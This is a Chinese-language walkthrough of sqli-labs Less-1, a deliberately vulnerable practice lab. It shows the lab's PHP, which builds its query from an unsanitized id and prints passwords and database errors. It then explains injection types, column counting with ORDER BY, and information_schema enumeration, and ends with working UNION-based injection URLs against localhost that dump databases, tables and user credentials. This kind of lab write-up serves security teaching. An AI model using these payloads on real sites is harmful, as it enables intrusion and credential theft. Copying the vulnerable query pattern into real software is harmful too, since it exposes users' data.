Less1 核心代碼
- 在用戶表中查詢一條用戶信息,在頁面中顯示這條信息的用戶名密碼
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con));
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 具體后臺mysql中操作的結果是

image.png
首先我們要判斷是否是sql注入,我們用單引號去嘗試

image.png
得到的有價值的信息
- 出現(xiàn)報錯一定有數(shù)據(jù)庫注入
- 數(shù)據(jù)庫為myql
- LIMIT 0,1 后臺只查詢一條內容(比較重要的信息)

image.png
在做測試之前要科普下數(shù)據(jù)庫注入的幾種類型
- union注入(聯(lián)合查詢)
- 基于錯誤的注入
- 時間注入
- 布爾注入
- 內聯(lián)查詢
- 棧查詢
其中盲注又分為
基于布爾SQL盲注
基于時間的SQL盲注
基于報錯的SQL盲注
sqlmap 中對于注入的分類

image.png
測試開始
首先我們要用最常見的union 注入去嘗試
關于union注入介紹
UNION 操作符用于合并兩個或多個 SELECT 語句的結果集。
請注意,UNION 內部的 SELECT 語句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。同時,每條 SELECT 語句中的列的順序必須相同。
SQL UNION 語法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注釋:默認地,UNION 操作符選取不同的值。如果允許重復的值,請使用 UNION ALL。
SQL UNION ALL 語法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 結果集中的列名總是等于 UNION 中第一個 SELECT 語句中的列名。
- 具體的例子

image.png
上文說過(如何判斷前面的select 查詢有幾列呢? order by 介紹)
union內部的SELECT 語句必須擁有相同的列
order by 是對查詢的列進行排序
語法
SELECT field1, field2,...fieldN table_name1, table_name2...
ORDER BY field1, [field2...] [ASC [DESC]]
order by 有一個特性,就是后面可以不跟排序的字段,直接跟數(shù)字,如果數(shù)字超過查詢的列就會報錯,
當為3的時候正常,當為4時候報錯(得到結果查詢的列為3)

image.png
在正式測試之前還介紹幾個知識 group_concat
正式開始
- 猜測數(shù)據(jù)庫
select schema_name from information_schema.schemata
- 猜測數(shù)據(jù)庫中的數(shù)據(jù)表
select table_name from information_schema.tables where table_schema='XXXX'
- 猜測表的所有列
select column_name from information_schema.columns where table_name='xxxx'
- 獲取某列的內容
select xxx from xxxxx
LESS1 中的 POC
查看數(shù)據(jù)庫
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23
查看表
http://127.0.0.1/sqli-labs/Less-1/?id=-1 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查看列
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查看數(shù)據(jù)
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23